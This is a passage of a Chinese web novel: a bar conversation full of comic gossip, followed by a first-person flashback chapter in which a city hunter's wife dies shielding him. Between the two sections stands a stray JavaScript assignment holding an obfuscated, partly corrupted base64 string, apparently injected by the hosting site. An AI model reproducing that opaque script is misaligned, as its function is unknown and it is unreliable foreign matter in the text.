当泽维尔为她买来那珍贵的药片时,本性的娇弱让她总会感动得泣不成声。吃下那药片,也许改变不了什么,可她仍会选择去吃,因为那是希望。那药片尝起来是苦的,可对于她来说是甜的。苦在嘴里,甜在心里。 听完他们的故事,陈思成心里是五味杂陈。故事中有许多点与陈思成内心产生了共鸣,他能非常真切地感受到故事中的人物情绪。泽维尔的遭遇与他有几分相似,因而他非常同情泽维尔,就像同情过去的那个自己。 陈思成: “你们的故事的确感人。我真佩服你们,能一直坚持到现在。” 泽维尔: “那还得靠她。要不是她每天陪伴着我,我还坚持不了那么久呢。” 米兰达: “不,都是靠他。要不是他收留了我,我也许就饿死在外面了。是他给了我一个家,是他让我一直走到现在。” 泽维尔: “过奖啦。我其实没有那么伟大。” 米兰达: “你在说谎哦。” 陈思成: “你们有手机吗?” 泽维尔: “没。手机那东西......不敢想象。” 陈思成: “我觉得......我们可以交个朋友。” 泽维尔: “交朋友?你要和我们交朋友?” 米兰达: “叔叔,真的吗?” 陈思成: “既然我都说出口了,那就是真的。” 泽维尔: “太好了!我们终于在这都市里有了一个朋友。——那你可以当我的师傅吗?” 陈思成: “不可以。” 泽维尔: “哦......好吧。” 陈思成: “但以后不一定。” 泽维尔: “真的?!那太好了。我一定会证明我可以当你徒弟的!一定。” 陈思成: “等我忙完一些琐事,我考虑考虑。” 泽维尔: “行。” 陈思成: “米兰达,你知道你这病叫什么名字吗?” 米兰达: “让我想想......好像叫白夜三型综合征。” 陈思成: “这病严重吗?” 米兰达: “不算严重,但挺折磨人的。” 陈思成看了看表。 陈思成: “时候不早了,我得忙活忙活我的委托了。” 泽维尔和米兰达挥手和陈思成道别。 泽维尔和米兰达: “再见。” 在告别泽维尔和米兰达后,陈思成到处去闲逛,消磨时间。中途又回了趟家吃了顿晚饭,还照顾照顾家里的花,怕花凋零。 时间很快来到傍晚,陈思成来到熟悉的酒吧,坐在吧台前开始点酒。吧台工作人员小马哥见他这么早来了,凑过去问道: “陈思成,你咋这么早就来了。” 陈思成解释道: “没啥。只是今天有空。早来一会你没意见吧?” 小马哥笑笑,说: “那肯定没意见呀!你来喝酒我能有啥意见。” 小马哥拿起一个杯子好好擦了擦,给陈思成准备酒杯。擦杯子时,小马哥看向陈思成,看到陈思成今天的状态后问道: “你今天怎么了?不肾虚了?” 陈思成往后一仰,问道: “瞧你这话说的,我啥时候肾虚过?” 小马哥笑笑,开玩笑似地说: “不是前几天一喝喝到后半夜的、跟失了魂似的那个你了?” 陈思成脸尴尬地一红,说: “哪有这事?我都是只喝到前半夜的。” 小马哥擦完杯子,把杯子放在陈思成面前。小马哥问: “今天怎么了?遇到啥高兴的事?跟哪个小姑娘处上了?” 陈思成摆摆手,说: “不能。我今天只是心情好,所以才有好心情来这里。” 小马哥微笑着思考了下陈思成刚刚的话。思考完,小马哥说: “听君一席话,如听一席话。你这话说的就跟你说了话似的。” 陈思成笑笑,又咳嗽两声,说: “先不扯那些了。上酒吧。” 一听这话,小马哥立即露出职业笑容,接着问道: “要点什么?” 陈思成说: “老三样,一样给我来一杯。” 小马哥笑笑,说: “好嘞!” 小马哥熟练地配出陈思成所谓的老三样,接着一杯一杯地给陈思成拿过去。陈思成拿过酒杯,将第一种酒一饮而尽。这第一种酒是苦酒,当中还带着点辣。这是陈思成最爱的配方,也是他每次来这里必点的酒品。这种酒蕴含了相当多的东西,它也象征了他曾拥有的许多东西。喝过第一杯,陈思成拿起第二杯,一口一口抿着喝。喝第二杯的时候,他跟小马哥聊起了天。 陈思成: “小马哥,你今天又要跟我说什么段子呀?” 马浩(小马哥本名): “啊?今天难道不该是我听你讲东西吗?” 陈思成: “我今天嗓子疼,咳咳!咳咳!说不明白话。” 马浩: “好吧。那就由我来讲讲段子吧。” 陈思成: “你跟我说说你以前还遇到了什么离谱的事情。” 马浩: “离谱的事......有的是,你想听那种?” 陈思成: “随便。” 马浩: “行。——我跟你讲讲我曾经听到过的一个事儿。这个事儿是真的啊,并非是我胡编乱造。那时候啊,我年纪轻轻就很年轻。” 陈思成: “别说废话,直入正题吧。” 马浩: “不行,不说废话没有精髓。” 陈思成: “行吧,那你继续说。” 马浩: “我原来有个上司,是个中等协会协会的会长。我那个上司呢,有个老婆,据说是温柔贤惠,但我没见过。有一次呢,我上司的那个老婆相中了别的男人,那男人正好是我们协会的对立协会里的人,但她又不好意思跟别人说。于是在阴差阳错之下,就搞了出轨的那一套,背着我上司就跟那男人约会。” 陈思成: “渣女......” 马浩: “诶!但是吧,事情比我们想的都要复杂。我那上司从别人嘴里知道了他老婆出轨那事,那时候给他气的呀,老在我们面前说这事。后来不知道是那个鬼才给他出的主意,让他以同样的方式以牙还牙。我本以为我上司是个明白人,结果呢,我上司一怒之下,便怒了一下。之后就把他老婆给绿了。” 陈思成: “什么玩意这是?” 马浩: “然后这俩人还贼倔,就是知道了对方的事也不跟对方说。这种微妙的关系维持了很长时间,两人也还能保持表面夫妻的状态。我本以为到这儿就该结束了。然而!事情后来走向了我们都未曾设想的方向。” 陈思成: “有反转?!” 马浩: “两个对立的协会对立久了就得爆发冲突,好巧不巧在那次冲突之中,我上司的老婆对阵的敌人是她那个情人,事情一下子就变得不对劲了起来。两人不光是没打架,反而找个没人注意的地方聊了起来。聊着聊着,这两人就谈到晚上去找地方约个会、吃个饭、开个房啥的。” 陈思成: “这心可真大。” 马浩: “好巧不巧我的同事和他对阵的人在交锋之时路过了此处,又好巧不巧我同事和他对阵那人在一个特殊的角度看到这两人在这儿聊天。出于好奇,他们两个就搁那里偷听。这一听不要紧,听完两人顿时就不寻思着打架了,如此劲爆的消息两人怎能安心去打架,赶紧回到各自协会报道此事。于是乎,我上司老婆出轨的事就这么传了出去,很快就传遍了这两个协会。” 陈思成: “你这让我怎么吐槽呢?这也太......太那啥了吧。” 马浩: “这还不是最离谱的。” 陈思成: “还有更离谱的?!” 马浩: “没错。且听我娓娓道来。” 马浩: “消息一出,我上司那边就乱了套了。本来我上司打算假装不知道的,但事情一处,总得有个说法。于是乎,我上司和他老婆在家里来了波辩论,辩论很快变成武装交锋,两人搁家打了起来。打完这架后的第二天,他老婆就搬出去住了,我那上司也搬出去了,搬到医院里住去了。” 陈思成: “好家伙,这下多狠的手啊。” 马浩: “但是吧,两人的婚姻强度惊人的高,就是这样他们也没去离婚。等我上司康复出来,不知道突然想开了还是怎么着,我上司就把他那二号女友踢了,说是不闹了,决定一心一意去爱他老婆。后来我们这些下属也是有目共睹,我上司也的确说到做到了。” 陈思成: “那他老婆呢?” 马浩: “似乎也是想开了,就回来寻思复合。复合是复合了,但后面又出了点事。有人举报我上司的老婆跟人开房,而且还好心把那间旅馆的名字告诉了我上司。我上司领着我们哥几个就去抓奸去了。那次行动我印象很深,大半夜去的,正赶上我休假的前夕。” 陈思成: “人抓着了吗?” 马浩: “抓着了,但是抓错了。” 陈思成: “抓着谁了?” 马浩: “我上司老婆出轨对象的哥哥和另一个商会会计。当时好悬没给我上司尴尬死。我上司带俩人拿着刀剑锤子冲了进去,那俩人二话不说就拿手机拍照。结果一比对,不是要找的人。我上司和他带的那俩人在尴尬之中撤出了房间,怎么来的怎么回去。当时可给屋里面那两个人吓够呛,好悬没给那两个人人吓出心脏病来。” 陈思成: “那时候你干啥去了?” 马浩: “我摸个鱼,去了趟卫生间。” 陈思成: “这种时候你还能摸鱼?” 马浩: “只要不是开会随时我都能摸鱼。” 陈思成: “你可真行。” 马浩: “正好是在回来的时候,我碰到了我上司的老婆。她刚从被查房间的隔壁310出来,那时正好是我上司进出查房的时候。我那时才知道,我上司查错房了。线人告诉的是三楼十号组第一个房间,我上司查的是311。我上司的老婆见了我,立马从包里拿了小半摞钞票,一把扔给我了我,并比了个手势让我别说话。” 陈思成: “你怎么做的?” 马浩: “我是个很正直的人,我决定去检举她,但是奈何她给的实在太多了。考虑到我上司和她之间的夫妻关系,我就睁一只眼闭一只眼,没把这事说出来。后来我上司因为没找到证据,这事也就不了了之了。” 陈思成: “你可太真实了。果然,有钱能使鬼推磨。” 马浩: “换你,你会这么做吗?” 陈思成: “我......也许会吧。看给我多少,看我和上司的关系怎地。” 马浩: “故事的最后,也许是春天过去了,我上司和他老婆都安定了下来。经历了这一串复杂的事情之后,两人都有所成长,起码不扯没用的了。后来,两人关系和好如初,事态也慢慢走向了平和。多么完美的结局啊......” 陈思成: “这就......完了?” 马浩: “不,最大的反转来了。我上司和他老婆有一天突发奇想就去要了个孩子。结果孩子一出生没过多久,问题就来了。我上司和他老婆都是黑头发的,可他们的孩子却是淡绿色头发的。” 陈思成抬头去看小马哥那一头绿油油的头发。见陈思成这个眼神,小马哥的眼中出现了坚定的光辉。那种坚定的眼神,绝不是心虚之人才能有的眼神。 马浩: “别看我啊!我跟这事没有任何关系。” 陈思成: “你有嫌疑。” 马浩: “别扯了,我都不知道我上司老婆叫啥。” 陈思成: “那看来是我想多了。” 马浩: “你知道后来发生什么事了吗?我上司带着他们的孩子做了下亲子鉴定,发现这孩子与我上司有血缘,但和我上司的老婆没血缘。两人对这结果深表怀疑,最后不知道怎么就得出了个抱错孩子的结论。于是乎,经过多方调查就找到抱错孩子的那户人家,把孩子换了回来。换回来后,再验一次,这孩子跟我上司的老婆是血缘关系了,但我上司和他老婆总觉得哪里有点不对劲。” 陈思成: “我也觉得哪里不大对劲。” 马浩: “我也这么觉得。” 陈思成: “话说,协会圈子这么乱的吗?” 马浩: “那可不!人啊,一但有了权力、地位、财富,总能干出些令人匪夷所思的事情。是情不纯了,是爱标价了,是人心脏了。哎......纯洁的事物越来越少了呀。整那些有的没的,还不如安安分分地过好现在呢。哼......还不如一杯让人愉悦的酒呢。酒多香醇啊!” 陈思成: “说得对!” 陈思成微笑着拿起酒杯。 陈思成: “敬你一杯。” 马浩: “感谢。” 陈思成拿起酒杯,将杯中残酒一饮而尽。 陈思成: “小马哥,你说要是我那一天突然不来这里了,你会咋想啊?” 马浩: “那我猜你是找到了更好的酒吧?” 陈思成: “要是我再也来了呢?” 马浩: “那我会伤心一阵子。并且我会默默祝愿过得幸福。” 陈思成: “然后呢?” 马浩: “继续干我的酒保,老老实实地为人调酒。” 陈思成喝了口烈酒,温热辛辣的滋味刺激着他的神经。酒是凉的,喝到嘴里就热的,到了胃里是暖的。 陈思成: “小马哥,你以前到底是做什么的?” 马浩: “我什么工作都干过。” 陈思成: “那主要是做什么?” 马浩: “上班摸鱼。” 陈思成: “啊?那你是怎么活到现在的?” 马浩: “谁说摸鱼就不能有钱赚?摸鱼也讲究个技术。” 陈思成的视线移到了小马哥袖口处的刀疤上。小马哥工作时总是戴着白手套,就是为了遮挡这处刀疤。陈思成敏锐地察觉到,小马哥远没有看上去那么普通。他能说出那样隐秘的故事,还说得具体详细、生动形象,他定是个不简单的人。与小马哥相处这么多日子以来,小马哥从未向陈思成透露他的真实身份。 陈思成: “小马哥,你到底是做什么的?” 马浩: “去问我的那两把武器吧,要是你能跟它们说上话的话。” 陈思成: “真是个神秘的男人。” 马浩: “你也一样不是吗?” 陈思成: “唔......的确。” 马浩: “我的直觉告诉我,我们会在某一日对对方说出真相的。那一日不是今天,也不是明天,而是未来的某个时候。” 陈思成: “最好是有那一天。” 马浩: “放心,日子总会有的。” 晚上十点的时候,陈思成回到了家中。他又喝得醉醺醺的,一进门就瘫倒在沙发上,仰着头注视天花板上的灯。他傻呵呵地露出笑容,不明所以地冲着天花板笑。笑了一会,他起身从茶几抽屉里拿出一盒烟。他茶几的抽屉里放了三十盒价位便宜的烟!这些烟他曾喜欢抽,现在依然喜欢抽。抽起这些烟的时候,他总能在微微的幻觉之中重温过去的美好滋味。 他在阳台抽完了三根烟,抽完的烟灰倒进空花盆里,其余的垃圾扔进垃圾桶里。这是他平常烟量的四分之一。他曾有一段很长的不抽烟时光,但那段时间十分短暂。抽完烟,他收拾下屋子,再给护理一会花,然后就洗洗睡了。 躺到床上,他翻来覆去睡不着觉。明明他喝得醉醺醺的,明明他感觉很疲累,明明他那么想入睡。在床上躺了一会,他还是睡不着。他满脑子想的都是泽维尔和米兰达的事。因为泽维尔这个孩子与那时的他太过相像了,泽维尔就是过去那个的他的影子。他不愿见到泽维尔就这么痛苦的活着,也不愿再见到下一个刽子手出现在这城市中。他担心泽维尔会成为第二个他。 “弱子啊,弱子。你小子怎么能和我如此相像呢?你成为第二个我吗?你会在杀戮者失去自我吗?” 他左思右想,思考泽维尔的各种未来。好的也想,坏的也想,每一方面他都想到了。他就怕泽维尔走上自己的老路,他就怕心底纯洁的天使会变成弑杀的魔鬼。即便世界的法则无比残酷,但他仍想在残酷中留给泽维尔几分温情。这不仅是为了泽维尔,也是为了他自己。曾经的他最渴求的不是名誉、金钱或者地位,正是那几分温情。 “怎么办才好呢?弱子啊,你说说看,我该怎样才能让你不走上我的老路呢?我希望你不会成为第二个我,我也希望你的人生能少几分痛楚。” 陈思成笑了笑,他想到了泽维尔身旁的米兰达。 “你小子其实比我强多了。你起码开局还有个伴儿呢,而我那时一无所有。整不好,那小姑娘还是人生的另一半呢。我看你俩挺搭的,走到一起也挺不错。” 嘀咕着嘀咕着,他的两眼一眯,一合,不知不觉就睡着了过去。 在梦中,他梦见了自己的过去。那是一段不堪回首的往事。他以自己的视角,再次重温一遍旧日的苦痛。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东洋墟—第二话:堕落的开始 齐百陵的回忆: 通历40年8月13日,那是我永远无法忘记的日子。那本是个值得高兴的日子,因为我和她要接我们的儿子出院,我们一家要开始新生活了。然而,我却在那一天失去了一切。 我和她拿着各自的武器准备先回趟家,然后再去医院接我们的儿子。就在我们回家的过程中,我们走到了一段没有人烟的街区。就在我们踏入这片街区后,一个不速之客拦住了我们。那人戴着合金鬼脸面具,身着猎人制式的轻甲型黑西服,手提一把九尺长刃脊髓长枪,腰间别着黑色合金十字架。我永远都无法忘记他的样子,就是化成灰我也认得。 他,是十大都市梦魇之一,常年被通缉的冷酷杀手,高贵的四星都市之光,臭名昭着的傀儡师椿木武宪。 傀儡师拦住了我们,看样子是来者不善。傀儡师对我们没有半点客气,直接切入正题,告诉我们: “齐百陵,你杀了悲鸣舞女。你觉得你能全身而退?” 我和她拿出武器,进入战斗状态。傀儡师见我们两个这样,轻蔑地笑了一笑,拿出腰间的十字架,轻轻一摇召唤出三个体型硕大的战斗傀儡。我告诉傀儡师: “是我杀的又能怎样?” 傀儡师耸了耸肩,又拧了拧脖子,摆了摆手指,一副战意满满的样子。傀儡师愤怒地告诉我: “她是我表妹。你这家伙杀了我的亲信,不可饶恕的罪行。那么今天......” 傀儡师的身上泛起血色气息,彼岸花的影子朦胧在其中。傀儡师抬起手中的长枪指着我们,说: “你要为了你的行为付出代价!你要用血偿还你欠下的血债。成为我的新傀儡吧,齐百陵。吊いの钟は谁のために鸣るのか?(丧钟为谁而鸣?)” 我和她严阵以待,准备迎接傀儡师。这一战我们无法逃跑,在傀儡师说话时,我们所有逃生路线已经被傀儡师用红色提线给封死了,狡诈的傀儡师不想让我们逃脱。这场血仇,傀儡师势必要报。迫不得已,我和他与傀儡师开战了。 在与傀儡师的战斗中,我一直承担主要进攻单位。她刚生完孩子才两个月,身子还很虚弱,战斗中我时刻得照顾着她。她是我生活下去的动力,我绝对不会让她有事!她逐渐发觉自己在拖我的后腿,于是她不顾自身的虚弱,用了平时好几倍的力气去战斗,她怕影响到我的战斗节奏。 我们两个在战斗中的配合堪称完美,夫妻、搭档之间高度的默契使我们在战斗中显得游刃有余,与她战斗的感觉是最棒的!即便对手是强大的傀儡师,我们两个也能灵活应对。要知道,我们两个的战斗力加起来都没傀儡师高。他是游走江湖多年的舔血狠人,我们只是生活在狭小东城的都市猎人。但即便如此,傀儡师也在战斗中多次被我们逼到绝境,有好几次我和她都差一点点就能重创傀儡师。 接近战斗的尾声时,我们两方都已是筋疲力尽。傀儡师的傀儡几乎让我们杀了个干净,只剩下最初召唤的三个傀儡中的两个。傀儡师本人也受到了不小的伤害,比起我们两个来说,傀儡师本人承受的伤害最多,我们两个身上的伤口加起来都没傀儡师多。 最后时刻,我和她一起出击,准备对傀儡师施以处决,想要一击制敌。我们两个太天真了,以为面前的傀儡师已是残烛。这样贸然的进攻,是我们在这场战斗中最大的失误,这也导致了接下来我们所面临的艰难局面。贸然近身,我们遭到了傀儡师及其两个傀儡的猛烈进攻,一时间难以抽身。 在这样艰苦的处境之中,我们两个仍能保持沉着冷静,我们之间的配合从未断过。二打三有些难度,但不代表不可能胜利。很快我们就杀死了一个傀儡,局面顿时变得公平起来。只是令我没想到的是,在一次交锋中,他用手中的那把长枪竟一击打碎了我的长刀,还将我打飞到了一面墙上。我低估了傀儡师本身的实力,他既是个召唤师也是个强大的战士。我在那时候才知道傀儡师本身的强大。 傀儡师抓住这宝贵的机会,做好架势准备给予我致命一击。他的目光聚焦在我身上,从战斗开始到现在几乎一刻也不挪开。他对我的恨意透过他的面具散发到我的脸上,我能感受到那份想把撕成碎片的憎恨。他出手了,我起身要躲,但我敏锐地意识到已经来不及了。这一击,我非死即伤。 那时候,要是这把长枪刺穿的是我的身体,我也许会怀着几分希望与释然离去。可......被刺穿的人不是我,而是她。 “齐百陵!!!” 她不顾危险挡在我面前,与怒不可遏的傀儡师正面交锋。我亲眼看到,傀儡师只是一扫一挑就将她手中的长剑打飞出去,她压根就不是此刻的傀儡师的对手。傀儡师做出突刺的架势,她的目光一瞬聚焦到她飞出去的长剑上,一瞬聚焦到了我身上。她后仰垫步已经做出侧闪的预备姿势,可下一个瞬间,当她的余光瞥见到我的时候,她这姿势换了方向。 傀儡师向前突刺,我向侧边躲避,傀儡师枪头方向瞬变,直直地向我这里突刺而来。时间不够,我无法躲开这一刺。看着傀儡师长枪上如肋骨般排列的锐利九个刃刺,我知道这一击下去我注定九死一生。若死,可怜她娘俩了,那些美好的诺言将破碎。若生,傀儡师岂会给我生还的机会,他绝对会让我变成碎肉。 在我认定我死亡之际,一声温柔又刺耳的叫声传入我的耳中。 “齐百陵!!!” 紧接着就是一阵筋肉撕裂的声音,伴随着肆意飞洒的鲜血与一声凄厉的惨叫,一个生命就此走向凋零。卡娜铃兰义无反顾地挡在我的身前,用她那瘦小又虚弱的身躯替我挡下了这崩裂肉体的一击。她用鲜血诠释了她对我的爱意。直到被刺穿身体的那一刻,她仍咬着牙坚挺着,为了我她忍下剧痛不肯倒下,像一面墙一样屹立在我面前。那是我第一次觉得女人的身躯也能如高山般伟岸...... 她的行为引发了傀儡师的好奇,残忍的傀儡师甚至用力推了下长枪,让枪头在她体内撕裂出更大的伤痕。她仍不倒下,仍然为了我而坚挺着。她撑了三秒多,那三秒多的时间里她承受了我难以想象的痛苦,撕裂肉体的痛苦。那本该是我去承受的痛苦,岂能让她来承受?她与这件事没有任何联系!明明是我惹来的麻烦,明明该受牵连的人是我,明明她是无辜的...... 傀儡师无情地拔出他的长枪,她的血顿时溅了傀儡师一脸,傀儡师身上的衣物都染上了她的鲜血。 那一刻,是我的整个世界崩毁的时候。痛苦、愧疚、愤怒、悲伤......它们充斥了我的内心,让我炙热的内心瞬间变得冰冷。 她的身躯慢慢倒下,倒向我这一边。我不顾一切冲上前去接住她倒下的身躯,一把将她抱起。她倒在我的怀里,傻傻地对着我笑。 “亲爱的,这次......是我救了你哦。我是你的英雄......对吗?” 看着她那张笑脸,愧疚冲刷我的眼角,一滴又一滴愧疚的泪水滴落在她的身上。我紧紧地抱着她,心疼她到我的内心逼近破碎。此刻,我的心中犹如下起了漫天大雪,悲伤化作冰川凝结我的内心,我的心如撕裂般剧痛无比,那种感觉比失去生命还要让我痛苦! 傀儡师见我二人这般放松警惕,拎着长枪就准备送我们两个上路。 就在这时,城市的上空传来飞机驶过的声音,伴随着刺耳的警笛声,整个城市瞬间不再安静。一个由血肉与结晶物组成的僚机飞过我们头顶,它所发出的刺耳噪声回荡在在城市的大街小巷。大地突然开始颤动,天空随着僚机的出现逐渐变为瘆人的紫红色,城市内回响起警报声,诡异的警笛声也在此刻响起。 傀儡师看了看我们二人,又看了看天上飞着的僚机。傀儡师害怕地发颤,他立马就带着傀儡撤退了。他不知在害怕着什么,也许是害怕那突然出现的僚机,又或许是害怕其他的什么东西。那时,他本可以将我们二人杀死,可他因为恐惧选择了逃命。正是他做出的这个选择,才给了我复仇的机会。 在傀儡师走后,我背起她的长剑,抱着她向医院奔去。城市内现在乱成了一团,路上想打车都打不到。大街上到处都是惨叫声、交战声和嘶吼声,鲜血横流、血肉模糊的景象随处可见,到处都有人的尸体。路上,我见到各种各样长相扭曲可憎、身披结晶物的怪物肆虐在城市里,负责维和的警备队成员与许多都市猎人一同携手对抗这些怪物。我不知道这些怪物为何会出现在城市里,我也无暇顾及那些,我现在只希望这些怪物不要拦路。 在路上,我紧紧地抱着她,苦苦寻找医院的踪影。我一直在呼唤她的名字,用尽我所能表达的所有温柔来安抚她。她用温柔又苦涩的笑容回应我,用每一次眨眼、每一次呼吸告诉我希望还在。她承受着我难以想象的痛苦,可她不在乎。即使是风中残烛、晚秋之花,她也仍心怀希望,一遍又一遍给予我希望。 我和她相互安慰,相互陪伴着跑过一条又一条街。穿越重重危险,我的眼中终于出现了医院的影子。医院就在我的前方,我脚下这条街的尽头。我欣喜若狂,心想希望就在眼前。我对怀里的她说: “撑着!挺住啊!亲爱的,我们马上就到医院了。你马上就有救了!别睡着......千万别睡着......” 她冲我笑,笑得格外灿烂,似乎在告诉我她不算太糟。这笑容看得我是悲怆至极,泪水纵横我的面颊。我能感受到,她的身体愈发冰冷,死亡的面纱仿佛已经盖在了她的头上。她对着我动了动嘴唇,似乎在说些什么,可周围太嘈杂,我听不清楚。也许,她还想安慰我几句吧。 我抱着她一路狂奔,就像疯了一样奔向医院。我在那一瞬间遗忘了所有疼痛与劳累。为了她我马不停蹄地狂奔,与死神做着最后的较量。所幸路上并没有遇到那些怪物,我们也顺利到了医院。到了医院,我才发现医院已经沦陷,这里早就不安全了。看到眼前的景象时,我好似被一盆冷水泼中了头,我的身躯顿时觉得冰冷,心中那一丝希望也慢慢消逝。 这时,她笑着小声问我: “啊......那是医院的天花板的吗?亲爱的,我们是到了医院吗?” 我看向怀中的她,她脸上的笑靥告诉我还不能放弃希望。我的大脑飞速运转,思考着抢救她的方法。突然间,我想起了我们的孩子。好巧不巧,我们所在的医院正是我们孩子住的医院。顿时我倍感压力山大,眼下棘手的问题使我非常焦急。我的脑中蹦出了一堆不好的预想,每一个都令我脊背发凉、冷汗直流。 这时,她抬起手抚摸我的脸,我转过头去看着她,她的脸已经是惨白色。我当时被吓到了,那种肤色逼近死亡。她抚摸着我的脸,我看着她的脸,她的眼神中多了几分让我害怕的坦然,她已预见了她的死亡。她轻声告诉我: “不必为我而奔波了,亲爱的。快去楼上,去救我们的孩子......” 在自我与孩子之间,她选择了后者,伟大的母爱。她既是个温柔的妻子又是个伟大的母亲。她一说出这话,我毫不犹豫地将她放在一个安全的地方,接着马不停蹄地在医院各处奔走,寻找存放早产儿的地方。我一边找一边在呼唤喊着岚儿的名字,我知道那起不到什么作用,但喊出来能减少我心中的几分恐惧。 “岚儿!岚儿......不在这里,岚儿!岚儿!” 找了许久,我终于找对了地方。可当我撞开门走进去的时候,眼前的一幕让我眼前一黑,我差点就晕倒了过去。只见那里的维生仓全部被破坏了,专门的医疗装备也都失灵损坏。结果已经是显而易见了,但我仍不放弃希望,即便那希望渺茫至极。我作为一个父亲,我相信我的孩子绝对是最幸运的那个。岚儿一定不会出事的,一定不会!一定......不会的...... 我冲进去疯了似的一顿翻找,每一个维生仓我都翻过了,每一个角落我都查过了,每一个能藏孩子的地方我都看过了。维生仓里面除了一滩滩空荡的水以外什么也没有,房间的角落里只有电子垃圾与灰尘,整个房间里除了我以外没有活的东西。那一刻,我绝望了,我的精神也陷入到了崩溃的边缘。 “岚儿!你在哪里?!岚儿!你在哪里?!岚儿!岚儿......” 我绝望地一遍又一遍地喊着岚儿的名字,可回应我的只有骇人的死寂。我不信邪,又跟发了疯似的去找。这次我找到了我遗漏的地方,在房间角落有一个维生仓,那个维生仓我没看过。眼见还有最后一丝希望,我跑到那个维生仓前,发现这维生仓是紧锁着的。我顿时抄起一旁的医用设施碎块,用尽全力去砸维生仓的盖子。手中的砸坏了就再捡起一块继续去砸,可用的东西砸没了,我就用手去打,用脚去踹。一边进攻着维生仓的盖子,我一边大声喊着: “岚儿!岚儿!别害怕,爸爸来了!爸爸现在就把你救出来!” 砸着砸着,我想起了我背上的那把剑,然后我用剑三下五除二砍碎了维生仓的盖子。当我扒开碎片,弄得一手鲜血时,我看清了维生仓里的惨状。维生仓内是一摊血水,一滩如深渊一般的血水。见到这番景象,我顿时觉得一阵头晕,我的精神遭到了前所未有的打击。我瘫倒在维生仓旁,全身颤抖着。我难以相信眼前的现实,我的儿子就这么没了。之前对结果抱有的一切幻想,都在此刻烟消云散。 “岚儿啊!我的岚儿啊!你怎么就这么夭折了?!你不要爸爸妈妈了吗?岚儿啊!是爸爸对不起你啊!是爸爸对不起呀......” 失去了岚儿的我感觉整个世界都毁灭了,一切事物在我眼中都没了意义。 我靠着维生仓崩溃大哭,可心中最后的信念告诉我还不能停下。卡娜铃兰还在等待着我,我还能拯救她,拯救我们这个家。我忍住心中猛如惊涛骇浪的悲痛,全力奔赴回她的身旁。为了拯救我最爱的那个人,我再次拾起希望。 当我回到她的身旁时,我哭着告诉她: “孩子没了......孩子没了......” 她听到这消息时,本来惨白的脸变得更惨白了些。她眼中最后的一抹坚毅,她身上最后一丝生气,也在听到她这无比沉痛的消息之后都消逝了。她愈发接近于死亡,逃不开的宿命感缠绕在我们二人的心头。为了让她再能坚持一会,我忍耐住心中的万分悲痛,挤出笑容来安慰她道: “亲爱的!挺住!我现在给你去拿药!用最好的!最好的!挺住......挺住啊!别睡,千万别睡!” 就像她曾安慰我的那样。我动身准备去找药,但她用微弱的话语叫住了我。那种语气,像是诀别。 “齐......齐百陵。” “怎么了?亲爱的?等着,别着急,我现在给你取药去。” “回来......冷......好冷......抱抱我......” 我顺她的心意,再次抱起她。双手触碰到她的瞬间,我顿时害怕地全身发颤。她的全身冰冷,我的指尖能感觉到她体内的热量正随温度一点一滴地流逝。我抱着她坐在一处长椅上,我悲感时间所剩无几。看着她逐渐凋零的生命,我心痛地痛哭流涕。她痴痴地注视着我,我也痴痴地注视着她。 我想这就是她的最后时刻。在这最后时刻中,我守候在她的身旁,陪伴她直至最后。我会一直陪伴在她身旁,即便地动山摇,海动山倾我也会紧紧地抱紧她,直到她生命中的最后一刻。 她再次用手抚摸我的脸,这次是最后一次。她几乎是用尽了全部的力气,才从嗓子里挤出几句深情的话来。她说: “齐百陵,你是我我这辈子最大的幸福,你是我最爱的那个人。亲爱的......不要怪我,我也想与你白头偕老啊......答应我一件事,好吗?齐百陵......” 我紧紧地握住她冰冷的手,用无比坚定的眼神照亮她逐渐暗淡的眼眸。我说: “亲爱的你说,我一定答应你!” 她连续喘了几口气,才说出接下来的话。 “我和岚儿走后,你一定要从阴影里走出来。不要消沉,不要沉浸在这件事的悲伤之中。无论怎样,生活还要继续啊......你还有大把的年华,怎能毁在这里......你要好好地生活啊......” 我答应她。 “亲爱的,我答应你!我答应你!” 她的手放下了,好像是死了。她的手慢慢垂下的时候,我的眼前瞬间闪过了我与她曾拥有的一段又一段美好的回忆,如放映电影一样,不过只有可怜的刹那。她好像死了,我不敢相信眼前的事实。我紧紧地抱着她,用我温暖的身躯温暖她,可那也改变不了她离去的事实。我彻底绝望了,精神也彻底崩溃了。我失声痛哭,整个医院走廊里都回荡着我悲痛欲绝的哭喊声。 我一遍又一遍呼喊她的名字,一遍又一遍地谴责自己的不对。若我没有那样弱小,岂会让她为我殒命。若不是我惹了椿木家族的人,哪能有今天这样的灾祸呢?若死的人是我!而不是她,那该有多好啊!起码她会带着芬芳与花朵去向远方,回到她来时的故乡。而换成了我,我又将回到那痛苦不堪的生活之中,我又将迷失在那漩涡之中。 “都怪我!都怪我啊!如果不是因为我还不够强大保护不了你,你怎会因为而死呢......都怪我!都怪我!是我给你惹来的麻烦......” 她似乎还未完全睡去,还有最后一口气。这一口气,换成最深情的话语,从她的口中飘出,飞向我的心中。她说: “齐百陵,我不怪你......你尽力了,做不到这些不怪你的。是命运无情,让我们注定分离啊......” 这句话说完,她头一歪,眼眸顿时失色。我抱着她冰冷的身躯,再也感受不到那份温暖。她的心脏永恒停止,她的生命也随之凋零。她是最爱花的女人,她泛滥的爱意甚至也让我爱上了花。像花一般静静凋零,在种花人怀里凋零,也许对于她来说,是这世上最浪漫的死法吧。 一场冰冷的大雨降下了,空寂的城市中亮起点点灯火。雷霆霹雳照亮天空,雨中漫步的归家人寻着光亮前行。唯独一人不是,他逆光前行着。 我抱着她的尸体,顶着冰冷刺骨的雨水,任冷风肆意撕开我的伤口。雨水浸透大地,薄薄的雨雾弥漫在都市的每个角落。空气中有着淡淡的腥味,是鲜血混进了雨水混进了雾。警笛还在响着,僚机还在飞着,都市内还很不安全。可我此刻什么也不在乎了!我只想带她再去一趟我们的秘密花园。 那里盛开着我们一同栽下的花朵,她最爱的花就在那里绽放。那里生长着我们埋下的希望,无数美丽的梦藏在那片神秘的花园里。那是我们爱情开始的起点,我们那里订的婚,许的诺言。那是见证我们风雨一路的见证者! 我抱着她的尸体来到了我们的秘密花园。那些花盛开时是一片盛景,这景象美得让人陶醉。我回想起她曾说: “我想,它们盛开时的样子一定会美得让人陶醉吧。” 